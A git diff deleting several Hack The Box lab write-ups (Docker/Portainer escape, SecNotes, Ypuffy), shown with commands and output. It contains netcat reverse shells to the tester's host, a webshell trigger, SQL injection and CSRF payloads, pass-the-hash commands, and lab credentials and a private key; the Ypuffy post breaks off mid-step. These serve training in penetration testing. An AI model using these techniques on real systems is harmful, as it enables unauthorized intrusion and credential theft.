- "com.docker.network.bridge.default_bridge": "true",
- "com.docker.network.bridge.enable_icc": "true",
- "com.docker.network.bridge.enable_ip_masquerade": "true",
- "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
- "com.docker.network.bridge.name": "docker0",
- "com.docker.network.driver.mtu": "1500"
- },
- "Labels": {}
- }
-]
-```
-
-So, we've just identified another container `portainer-1.11.1` running on `172.17.0.2`.
-
-Looking at the documentation for portainer, we find that it's running on port `9000`.
-
-We'll do some SSH port forwarding to get access to the container from our Kali box:
-
-`ssh -R 9000:172.17.0.2:9000 root@10.10.14.23`
-
-```
-dorthi@Oz:~$ ssh -R 9000:172.17.0.2:9000 root@10.10.14.23
-The authenticity of host '10.10.14.23 (10.10.14.23)' can't be established.
-ECDSA key fingerprint is SHA256:9Oo1eYyjWeG8wM9Diog9J/MlNRpaj8qEy9n8FmKIhf4.
-Are you sure you want to continue connecting (yes/no)? yes
-Warning: Permanently added '10.10.14.23' (ECDSA) to the list of known hosts.
-root@10.10.14.23's password:
-Linux darkisland 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64
-
-The programs included with the Kali GNU/Linux system are free software;
-the exact distribution terms for each program are described in the
-individual files in /usr/share/doc/*/copyright.
-
-Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
-permitted by applicable law.
-Last login: Sun Sep 2 15:41:23 2018 from 10.10.10.96
-```
-
-
-
-
-
-
-
-There's a way to change the admin user password:
-
-[https://github.com/portainer/portainer/issues/493](https://github.com/portainer/portainer/issues/493)
-
-```
-Steps to reproduce the issue:
-
-Run portainer
-POST to /api/users/admin/init with json [password: mypassword]
-login with this password
-POST to /api/users/admin/init with json [password: myotherpassword] without Authorization header
-Login with mypassword is impossible
-Login with myotherpassword is possible
-```
-
-
-
-So we can change the password of admin to one of our choosing.
-
-Now we can log in:
-
-
-
-
-
-So we can now stop/restart/create containers.
-
-The plan is to create a new container using an existing image, launch it as privileged, mount the local host OS root directory within the container so we can read the root flag.
-
-- Create the entrypoint shell script that will be run when container starts and then give us a reverse shell
-
-```
-dorthi@Oz:/tmp$ cat run.sh
-#!/bin/sh
-
-rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f
-```
-
-- Create a new container running as privileged (we use one of the existing image on the box)
-
-
-
-
-
-
-
-
-
-- Catch the reverse shell and get the root flag
-
-```
-root@darkisland:/tmp# nc -lvnp 5555
-listening on [any] 5555 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.96] 42233
-/bin/sh: can't access tty; job control turned off
-/ # id
-uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
-/mnt/root/root # cat root.txt
-abaa95
-```
\ No newline at end of file
diff --git a/_posts/2019-01-19-htb-writeup-secnotes.md b/_posts/2019-01-19-htb-writeup-secnotes.md
deleted file mode 100644
index 13fd6b4b49..0000000000
--- a/_posts/2019-01-19-htb-writeup-secnotes.md
+++ /dev/null
@@ -1,341 +0,0 @@
----
-layout: single
-title: Secnotes - Hack The Box
-date: 2019-01-19
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-secnotes/secnotes_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - hackthebox
- - windows
- - sqli
- - wsl
- - csrf
----
-
-This blog post is a writeup of the Hack the Box SecNotes machine from [0xdf](https://0xdf.gitlab.io).
-
-Windows / 10.10.10.97
-
-
-
-## Summary
-
-- The box runs a PHP application on an IIS server.
-- There is a 2nd order SQL injection in the registration page which allows us to dump all the notes from the database. There is also a CSRF that we can leverage to reset the application password by sending a malicous link to a user through the Contact Us form.
-- One of the note contains the credentials for user `Tyler`.
-- Using the `Tyler` credentials, we can read/write files from the `new-site` share, which lets us upload a PHP webshell to the IIS site running on port `8808`.
-- We can then get a shell by either uploading and running `nc.exe` or using a nishang poweshell oneliner, gaining an initial shell as user `Tyler` on the system. I had trouble getting output from `bash` using nishang so I eventually had to use netcat instead of nishang.
-- Enumerating the box, we find that the Linux Subsystem is installed.
-- After launching bash, we find in `.bash_history` the credentials for the `Administrator` user.
-
-## Detailed steps
-
-### Nmap scan
-
-Only 3 ports are open, this should make the initial enumeration a bit easier.
-
-- IIS port 80
-- IIS port 8808
-- SMB port 445
-
-```
-root@darkisland:~# nmap -sC -sV -p- 10.10.10.97
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-25 15:10 EDT
-Nmap scan report for 10.10.10.97
-Host is up (0.015s latency).
-Not shown: 65532 filtered ports
-PORT STATE SERVICE VERSION
-80/tcp open http Microsoft IIS httpd 10.0
-| http-methods:
-|_ Potentially risky methods: TRACE
-|_http-server-header: Microsoft-IIS/10.0
-| http-title: Secure Notes - Login
-|_Requested resource was login.php
-445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
-8808/tcp open http Microsoft IIS httpd 10.0
-| http-methods:
-|_ Potentially risky methods: TRACE
-|_http-server-header: Microsoft-IIS/10.0
-|_http-title: IIS Windows
-Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
-
-Host script results:
-|_clock-skew: mean: 2h15m41s, deviation: 4h02m31s, median: -4m19s
-| smb-os-discovery:
-| OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
-| OS CPE: cpe:/o:microsoft:windows_10::-
-| Computer name: SECNOTES
-| NetBIOS computer name: SECNOTES\x00
-| Workgroup: HTB\x00
-|_ System time: 2018-08-25T12:12:28-07:00
-| smb-security-mode:
-| account_used: guest
-| authentication_level: user
-| challenge_response: supported
-|_ message_signing: disabled (dangerous, but default)
-| smb2-security-mode:
-| 2.02:
-|_ Message signing enabled but not required
-| smb2-time:
-| date: 2018-08-25 15:12:26
-|_ start_date: N/A
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 394.23 seconds
-```
-
-### Web enumeration
-
-- Port 80 runs a custom SecNotes application
-- Port 8808 doesn't have anything on it, except the default IIS page (tried enumerating with gobuster and didn't find anything)
-
-### Finding #1: We can enumerate user accounts
-
-The box tells us whether or not a username exists when we attempt to log in.
-
-
-
-I tried fuzzing different usernames with wfuzz but only found the `Tyler` username which we already know from the SecNotes application page:
-
-```
-wfuzz -z file,names.txt -d "username=FUZZ&password=1" --hs "No account found with that username" http://10.10.10.97/login.php
-```
-
-### Finding #2: Reflected XSS on the main login page
-
-The HTML page returns the username when authentication fails and the input is not properly sanitized so we can trigger an XXS
-
-Example payload in the username field: `">`
-
-
-
-
-
-But we won't be able to do anything useful with this since only our own user sees the error.
-
-### Finding #3: Stored XSS in the notes applications
-
-The notes application doesn't escape any of the input data so we can embed javascript in the notes and attempt to steal cookies. Unfortunately there is no other user connecting and checking the notes so this is not useful for us here (we can't steal session cookies of a logged on user).
-
-Payload: ``
-
-
-
-
-
-### Finding #4: 2nd order SQL injection on the registration page
-
-There's an SQL injection vulnerability on the `home.php` page that we can abuse by creating a user with the following name: `test' or 1=1-- -`
-
-Once we log in after, the notes page will display all the notes from all users. The resulting query probably ends up being something like `SELECT * FROM notes WHERE user = 'test' OR 1=1` so that basically returns all the notes because of the TRUE condition.
-
-One of the notes contains the credentials for the `Tyler` user.
-
-
-
-### Finding #5: We can have Tyler change his password by sending him a link
-
-The Change Password page works through a POST request but it also works if we use a GET request instead.
-
-We can send messages to Tyler through the Contact Us form and he'll click on every link that we send him. Because there is no anti-CSRF token on the Change Password page, we can trick Tyler in changing his password.
-
-Initially, I tried sending an HTML link such as:
-
-`Click this!` but it didn't work.
-
-However plaintext works: `http://10.10.10.97/change_pass.php?password=test11&confirm_password=test11&submit=submit`.
-
-So we send this to Tyler and we can log in after with the password we specified in the link.
-
-### User shell
-
-The credentials for Tyler are in one of the notes:
-
-```
-\\secnotes.htb\new-site
-tyler / 92g!mA8BGjOirkL%OG*&
-```
-
-Let's verify which shares he has access to:
-
-```
-root@darkisland:~/tmp# smbclient -U tyler -L //10.10.10.97
-WARNING: The "syslog" option is deprecated
-Enter WORKGROUP\tyler's password:
-
- Sharename Type Comment
- --------- ---- -------
- ADMIN$ Disk Remote Admin
- C$ Disk Default share
- IPC$ IPC Remote IPC
- new-site Disk
-
-root@darkisland:~/tmp# smbclient -U tyler //10.10.10.97/new-site
-WARNING: The "syslog" option is deprecated
-Enter WORKGROUP\tyler's password:
-Try "help" to get a list of possible commands.
-
-smb: \> ls
- . D 0 Sun Aug 19 14:06:14 2018
- .. D 0 Sun Aug 19 14:06:14 2018
- iisstart.htm A 696 Thu Jun 21 11:26:03 2018
- iisstart.png A 98757 Thu Jun 21 11:26:03 2018
-
- 12978687 blocks of size 4096. 7919013 blocks available
-```
-
-So the `new-site` share is the root directory of the webserver listening on port 8808.
-
-To get a shell on the box we'll do the following:
-
-1. Upload a PHP webshell
-2. Upload netcat
-3. Run netcat through the webshell
-
-Alternatively we could run nishang to get a reverse shell, but I had problem running `bash` and getting the output so netcat it is.
-
-Webshell:
-
-```php
-
-
-
-
-
-
-```
-
-```
-root@darkisland:~/tmp# smbclient -U tyler //10.10.10.97/new-site
-WARNING: The "syslog" option is deprecated
-Enter WORKGROUP\tyler's password:
-Try "help" to get a list of possible commands.
-smb: \> pwd
-Current directory is \\10.10.10.97\new-site\
-smb: \> ls
- . D 0 Sun Aug 19 14:06:14 2018
- .. D 0 Sun Aug 19 14:06:14 2018
- iisstart.htm A 696 Thu Jun 21 11:26:03 2018
- iisstart.png A 98757 Thu Jun 21 11:26:03 2018
-
- 12978687 blocks of size 4096. 7919013 blocks available
-smb: \> put snowscan.php
-putting file snowscan.php as \snowscan.php (1.6 kb/s) (average 1.6 kb/s)
-smb: \> put nc.exe
-putting file nc.exe as \nc.exe (152.5 kb/s) (average 91.8 kb/s)
-```
-
-Trigger the netcat connection with: `http://secnotes.htb:8808/snowscan.php?cmd=nc+-e+cmd.exe+10.10.14.23+4444`
-```
-root@darkisland:~/tmp# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.97] 49757
-Microsoft Windows [Version 10.0.17134.228]
-(c) 2018 Microsoft Corporation. All rights reserved.
-
-C:\inetpub\new-site>whoami
-whoami
-secnotes\tyler
-
-C:\inetpub\new-site>type c:\users\tyler\desktop\user.txt
-type c:\users\tyler\desktop\user.txt
-6fa755
-```
-
-### Privesc
-
-After looking around the box for a bit, I found that the Linux subsystem is installed. I noticed a Distros directory, Ubuntu then found bash.exe in `C:\Windows\System32`.
-
-```
-C:\>dir
-06/21/2018 03:07 PM Distros
-[...]
-```
-
-```
-C:\Distros\Ubuntu>
- Volume in drive C has no label.
- Volume Serial Number is 9CDD-BADA
-
- Directory of C:\Distros\Ubuntu
-
-06/21/2018 05:59 PM .
-06/21/2018 05:59 PM ..
-07/11/2017 06:10 PM 190,434 AppxBlockMap.xml
-07/11/2017 06:10 PM 2,475 AppxManifest.xml
-06/21/2018 03:07 PM AppxMetadata
-07/11/2017 06:11 PM 10,554 AppxSignature.p7x
-06/21/2018 03:07 PM Assets
-06/21/2018 03:07 PM images
-07/11/2017 06:10 PM 201,254,783 install.tar.gz
-07/11/2017 06:10 PM 4,840 resources.pri
-06/21/2018 05:51 PM temp
-07/11/2017 06:10 PM 222,208 ubuntu.exe
-07/11/2017 06:10 PM 809 [Content_Types].xml
- 7 File(s) 201,686,103 bytes
- 6 Dir(s) 32,431,472,640 bytes free
-```
-
-```
-C:\Windows\System32>dir bash.exe
-06/21/2018 02:02 PM 115,712 bash.exe
-```
-
-After starting bash and looking around the system, we find the `Administrator` credentials in root's `.bash_history` file:
-```
-C:\Windows\System32>bash
-mesg: ttyname failed: Inappropriate ioctl for device
-python -c 'import pty;pty.spawn("/bin/bash")'
-root@SECNOTES:~# cat .bash_history
-cat .bash_history
-cd /mnt/c/
-ls
-cd Users/
-cd /
-cd ~
-ls
-pwd
-mkdir filesystem
-mount //127.0.0.1/c$ filesystem/
-sudo apt install cifs-utils
-mount //127.0.0.1/c$ filesystem/
-mount //127.0.0.1/c$ filesystem/ -o user=administrator
-cat /proc/filesystems
-sudo modprobe cifs
-smbclient
-apt install smbclient
-smbclient
-smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
-> .bash_history
-less .bash_history
-```
-
-We can then psexec as administrator and get the root flag:
-```
-root@darkstar:~# /usr/share/doc/python-impacket/examples/psexec.py 'administrator:u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97 cmd.exe
-Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
-
-[*] Requesting shares on 10.10.10.97.....
-[*] Found writable share ADMIN$
-[*] Uploading file DmaHNXRy.exe
-[*] Opening SVCManager on 10.10.10.97.....
-[*] Creating service twnE on 10.10.10.97.....
-[*] Starting service twnE.....
-[!] Press help for extra shell commands
-Microsoft Windows [Version 10.0.17134.228]
-(c) 2018 Microsoft Corporation. All rights reserved.
-
-C:\WINDOWS\system32>type c:\users\administrator\desktop\root.txt
-7250cd
-```
\ No newline at end of file
diff --git a/_posts/2019-02-09-htb-writeup-ypuffy.md b/_posts/2019-02-09-htb-writeup-ypuffy.md
deleted file mode 100644
index 4e127abafe..0000000000
--- a/_posts/2019-02-09-htb-writeup-ypuffy.md
+++ /dev/null
@@ -1,422 +0,0 @@
----
-layout: single
-title: Ypuffy - Hack The Box
-excerpt: This is the writeup for Ypuffy, an OpenBSD machine from Hack the Box involving a somewhat easy shell access followed by a privesc using CA signed SSH keys.
-date: 2019-02-09
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-ypuffy/ypuffy_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - openbsd
- - ssh
- - pass-the-hash
- - ldap
- - ca
----
-
-Ypuffy is being retired this weekend, so it's time to do another writeup. I think this is the only OpenBSD machine so far on Hack the Box. The initial user part was not really difficult and involved doing some basic LDAP edumeration to find an NTLM hash that can be used to access a Samba share and recover an SSH private key. The priv esc used CA signed SSH keys which is something I've never personally used before.
-
-
-
-## Quick summary
-
-- The LDAP server allows anyone to connect and enumerate the contents
-- An NT hash is found in the LDAP directory for user `alice1978`
-- We can pass the hash to get access to the SMB share and download the SSH private key
-- User `alice1978` can run `ssh-keygen` as user `userca` and sign a new DSA SSH key with a principal name associated with the root user
-
-### Tools/Blogs used
-
-- [https://code.fb.com/security/scalable-and-secure-access-with-ssh/](https://code.fb.com/security/scalable-and-secure-access-with-ssh/)
-
-## Detailed steps
-
-### Portscan
-
-I started with the typical nmap scan and found a couple of interesting ports in addition to the SSH and webserver: LDAP is running on this box and there is also Samba running.
-
-```
-root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.107
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-08 01:37 EST
-Nmap scan report for 10.10.10.107
-Host is up (0.015s latency).
-Not shown: 65530 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
-| ssh-hostkey:
-| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
-| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
-|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
-80/tcp open http OpenBSD httpd
-139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
-389/tcp open ldap (Anonymous bind OK)
-445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
-Service Info: Host: YPUFFY
-
-Host script results:
-|_clock-skew: mean: -3h28m23s, deviation: 2h53m12s, median: -5h08m23s
-| smb-os-discovery:
-| OS: Windows 6.1 (Samba 4.7.6)
-| Computer name: ypuffy
-| NetBIOS computer name: YPUFFY\x00
-| Domain name: hackthebox.htb
-| FQDN: ypuffy.hackthebox.htb
-|_ System time: 2019-02-07T20:29:50-05:00
-| smb-security-mode:
-| account_used:
-| authentication_level: user
-| challenge_response: supported
-|_ message_signing: disabled (dangerous, but default)
-| smb2-security-mode:
-| 2.02:
-|_ Message signing enabled but not required
-| smb2-time:
-| date: 2019-02-07 20:29:50
-|_ start_date: N/A
-```
-
-### Web server enumeration
-
-The server doesn't respond with anything when we connect to it:
-
-```
-root@ragingunicorn:~# curl 10.10.10.107
-curl: (52) Empty reply from server
-```
-
-We'll come back to this later when we get user access to the box.
-
-### SMB share enumeration
-
-I got an access denied when trying to check the shares. We'll need the credentials to enumerate this further. More on this later on.
-
-```
-root@ragingunicorn:~# smbmap -H 10.10.10.107
-[+] Finding open SMB ports....
-[+] Guest SMB session established on 10.10.10.107...
-[+] IP: 10.10.10.107:445 Name: 10.10.10.107
- Disk Permissions
- ---- -----------
-[!] Access Denied
-```
-
-### LDAP enumeration
-
-To enumerate the LDAP, we need to give it the base dn to for the search. When I checked the output from nmap I saw the `ypuffy.hackthebox.htb` FQDN from the SMB discovery script. So I tried `hackthebox.htb` as domain to search from, luckily the box doesn't require authentication to pull data from it.
-
-The most interesting entry is this one for `alice1978` because it contains an NTLM hash. The `userPassword` field is not useful, it just contains `{BSDAUTH}alice1978` in base64 encoded format.
-
-```
-root@ragingunicorn:~# ldapsearch -h 10.10.10.107 -x -b "dc=hackthebox,dc=htb"
-[...]
-# alice1978, passwd, hackthebox.htb
-dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
-uid: alice1978
-cn: Alice
-objectClass: account
-objectClass: posixAccount
-objectClass: top
-objectClass: sambaSamAccount
-userPassword:: e0JTREFVVEh9YWxpY2UxOTc4
-uidNumber: 5000
-gidNumber: 5000
-gecos: Alice
-homeDirectory: /home/alice1978
-loginShell: /bin/ksh
-sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
-displayName: Alice
-sambaAcctFlags: [U ]
-sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
-sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
-sambaPwdLastSet: 1532916644
-[...]
-```
-
-### Passing the hash
-
-The first thing I did was look up the NT hash online to see if I could quickly get the password but I didn't find any match for this one. It probably uses a strong password which I won't waste time cracking.
-
-
-
-We don't have the password but we can pass the hash to the Samba server and list the shares:
-
-```
-root@ragingunicorn:~# smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107
-[+] Finding open SMB ports....
-[+] Hash detected, using pass-the-hash to authentiate
-[+] User session establishd on 10.10.10.107...
-[+] IP: 10.10.10.107:445 Name: 10.10.10.107
- Disk Permissions
- ---- -----------
- alice READ, WRITE
- IPC$ NO ACCESS
-```
-
-Cool, we can access the `alice` share. Next I listed all the files in the share:
-
-```
-root@ragingunicorn:~# smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' -s alice -R -H 10.10.10.107
-[+] Finding open SMB ports....
-[+] Hash detected, using pass-the-hash to authentiate
-[+] User session establishd on 10.10.10.107...
-[+] IP: 10.10.10.107:445 Name: 10.10.10.107
- Disk Permissions
- ---- -----------
- alice READ, WRITE
- .\
- dr--r--r-- 0 Thu Feb 7 20:48:09 2019 .
- dr--r--r-- 0 Tue Jul 31 23:16:50 2018 ..
- -r--r--r-- 1460 Mon Jul 16 21:38:51 2018 my_private_key.ppk
- IPC$ NO ACCESS
-```
-
-That SSH private key looks interesting, let's download it and confirm this is really an SSH key:
-
-```
-root@ragingunicorn:~# smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' --download alice/my_private_key.ppk -H 10.10.10.107
-[+] Finding open SMB ports....
-[+] Hash detected, using pass-the-hash to authentiate
-[+] User session establishd on 10.10.10.107...
-[+] Starting download: alice\my_private_key.ppk (1460 bytes)
-[+] File output to: /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk
-root@ragingunicorn:~# file /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk
-/usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk: ASCII text, with CRLF line terminators
-root@ragingunicorn:~# cat /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk
-PuTTY-User-Key-File-2: ssh-rsa
-Encryption: none
-Comment: rsa-key-20180716
-Public-Lines: 6
-AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz
-1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux
-BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj
-h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa
-iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx
-ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw==
-Private-Lines: 14
-AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF
-VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE
-cOZ5mYSy4IIRgPdJKwL6NPnrO+qORSSs9uKVqEdmKLm5lat9dRJVtFlG2tZ7tsma
-hRM//9du5MKWWemJlW9PmRGY6shATM3Ow8LojNgnpoHNigB6b/kdDozx6RIf8b1q
-Gs+gaU1W5FVehiV6dO2OjHUoUtBME01owBLvwjdV/1Sea/kcZa72TYIMoN1MUEFC
-3hlBVcWbiy+O27JzmDzhYen0Jq0AAACBANTBwU1DttMKKphHAN23+tvIAh3rlNG6
-m+xeStOxEusrbNL89aEU03FWXIocoQlPiQBr3s8OkgMk1QVYABlH30Y2ZsPL/hp6
-l4UVEuHUqnTfEOowVTcVNlwpNM8YLhgn+JIeGpJZqus5JK/pBhK0JclenIpH5M2v
-4L9aKFwiMZxfAAAAgQDG+o9xrh+rZuQg8BZ6ZcGGdszZITn797a4YU+NzxjP4jR+
-qSVCTRky9uSP0i9H7B9KVnuu9AfzKDBgSH/zxFnJqBTTykM1imjt+y1wVa/3aLPh
-hKxePlIrP3YaMKd38ss2ebeqWy+XJYwgWOsSw8wAQT7fIxmT8OYfJRjRGTS74QAA
-AIEAiOHSABguzA8sMxaHMvWu16F0RKXLOy+S3ZbMrQZr+nDyzHYPaLDRtNE2iI5c
-QLr38t6CRO6zEZ+08Zh5rbqLJ1n8i/q0Pv+nYoYlocxw3qodwUlUYcr1/sE+Wuvl
-xTwgKNIb9U6L6OdSr5FGkFBCFldtZ/WSHtbHxBabb0zpdts=
-Private-MAC: 208b4e256cd56d59f70e3594f4e2c3ca91a757c9
-```
-
-To convert it to the OpenSSH format, I used the `puttygen` utility:
-
-```
-root@ragingunicorn:~# puttygen /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk -O private-openssh -o alice_rsa
-root@ragingunicorn:~# file alice_rsa
-alice_rsa: PEM RSA private key
-```
-
-We can log in and get the user flag at this point:
-
-```
-root@ragingunicorn:~# ssh -i alice_rsa alice1978@10.10.10.107
-The authenticity of host '10.10.10.107 (10.10.10.107)' can't be established.
-ECDSA key fingerprint is SHA256:oYYpshmLOvkyebJUObgH6bxJkOGRu7xsw3r7ta0LCzE.
-Are you sure you want to continue connecting (yes/no)? yes
-Warning: Permanently added '10.10.10.107' (ECDSA) to the list of known hosts.
-OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
-
-Welcome to OpenBSD: The proactively secure Unix-like operating system.
-
-Please use the sendbug(1) utility to report bugs in the system.
-Before reporting a bug, please try to reproduce it with the latest
-version of the code. With bug reports, please try to ensure that
-enough information to reproduce the problem is enclosed, and if a
-known fix for it exists, include that as well.
-
-ypuffy$ cat user.txt
-acbc06
-```
-
-### Priv esc
-
-The home directory contains an interesting user `userca`:
-
-```
-ypuffy$ ls -la
-total 20
-drwxr-xr-x 5 root wheel 512 Jul 30 2018 .
-drwxr-xr-x 13 root wheel 512 Feb 5 00:30 ..
-drwxr-x--- 3 alice1978 alice1978 512 Jul 31 2018 alice1978
-drwxr-xr-x 3 bob8791 bob8791 512 Jul 30 2018 bob8791
-drwxr-xr-x 3 userca userca 512 Jul 30 2018 userca
-```
-
-Bob8791's home directory contains an SQL file with a reference to a `principal` and `keys` tables:
-
-```
-ypuffy$ pwd
-/home/bob8791/dba
-ypuffy$ ls
-sshauth.sql
-ypuffy$ cat sshauth.sql
-CREATE TABLE principals (
- uid text,
- client cidr,
- principal text,
- PRIMARY KEY (uid,client,principal)
-);
-
-CREATE TABLE keys (
- uid text,
- key text,
- PRIMARY KEY (uid,key)
-);
-grant select on principals,keys to appsrv;
-```
-
-The `userca` directory contains the CA private and public keys:
-
-```
-ypuffy$ ls -la
--r-------- 1 userca userca 1679 Jul 30 2018 ca
--r--r--r-- 1 userca userca 410 Jul 30 2018 ca.pub
-ypuffy$ file ca.pub
-ca.pub: OpenSSH RSA public key
-```
-
-The `httpd.conf` file contains some directories that I didn't enumerate at the beginning of the box:
-
-```
-ypuffy$ cat httpd.conf
-server "ypuffy.hackthebox.htb" {
- listen on * port 80
-
- location "/userca*" {
- root "/userca"
- root strip 1
- directory auto index
- }
-
- location "/sshauth*" {
- fastcgi socket "/run/wsgi/sshauthd.socket"
- }
-
- location * {
- block drop
- }
-}
-```
-
-The `/etc/ssh/sshd_config` file has been modified by the box creator and contains a few interesting lines:
-
-```
-AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
-AuthorizedKeysCommandUser nobody
-
-TrustedUserCAKeys /home/userca/ca.pub
-AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
-AuthorizedPrincipalsCommandUser nobody
-```
-
-Here's the summary of the what we found: SSH has been configured on this box to look up the public key of the connecting users by interrogating some kind of web application running on the box. The `AuthorizedKeysCommand` is useful when you don't want to have to upload public keys on a whole bunch of server. You can centralize the keys in a database somewhere so it's much easier to manage. The database dump we saw earlier in bob's directory confirms this. The second `AuthorizedPrincipalsCommand` configuration is used to look up allowed principals in the database. The principal is added when the keys are signed by the CA.
-
-We can read the public SSH keys by sending requests to the application. The GET parameters are the same as what was in the database file:
-
-```
-ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=alice1978"
-ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716
-ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=bob8791"
-ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=userca"
-ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=root"
-```
-
-We can only get the public key for user `alice1978`
-
-Next, we can list the principal names using:
-
-```
-ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=alice1978"
-alice1978
-ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=bob8791"
-bob8791
-ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=userca"
-ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=appsrv"
-ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=root"
-3m3rgencyB4ckd00r
-```
-
-Interesting, there's a principal name for root called `3m3rgencyB4ckd00r`. If we could have the CA sign an SSH key with this principal name, we should be able to log in as `root` on the box.
-
-OpenBSD has a `sudo` equivalent called `doas`:
-
-```
-ypuffy$ cat /etc/doas.conf
-permit keepenv :wheel
-permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
-```
-
-It seems we can run `ssh-keygen` as user `userca` without entering a password.
-
-```
-ypuffy$ ssh-keygen -t ecdsa
-Generating public/private ecdsa key pair.
-Enter file in which to save the key (/home/alice1978/.ssh/id_ecdsa): /tmp/id_ecdsa
-Enter passphrase (empty for no passphrase):
-Enter same passphrase again:
-Your identification has been saved in /tmp/id_ecdsa.
-Your public key has been saved in /tmp/id_ecdsa.pub.
-The key fingerprint is:
-SHA256:kbrMU2l1XcB9DEIKw58lsyYFz03VMLDuEPgQrXQWW3c alice1978@ypuffy.hackthebox.htb
-The key's randomart image is:
-+---[ECDSA 256]---+
-| .=o.o*+BBE|
-| oOB*.=.+=|
-| .=*B*+ . .|
-| .o*=+ |
-| . Soo . |
-| o + o |
-| = . |
-| . |
-| |
-+----[SHA256]-----+
-```
-
-We can generate a new DSA keypair for Alice and get it sign by the CA, making sure to assign the root's principal name `3m3rgencyB4ckd00r`"
-
-Here's the breakdown of the `ssh-keygen` parameters used:
- - `-s` : this is the private key that will be used to sign the keys
- - `-I` : that's the certificate identity
- - `-n` : the principals associated with the key (we need to include `3m3rgencyB4ckd00r`)
- - `-V` : validity of the key
- - `-z` : serial number
- - `id_ecdsa.pub` : The public key we previously generated
-
-```
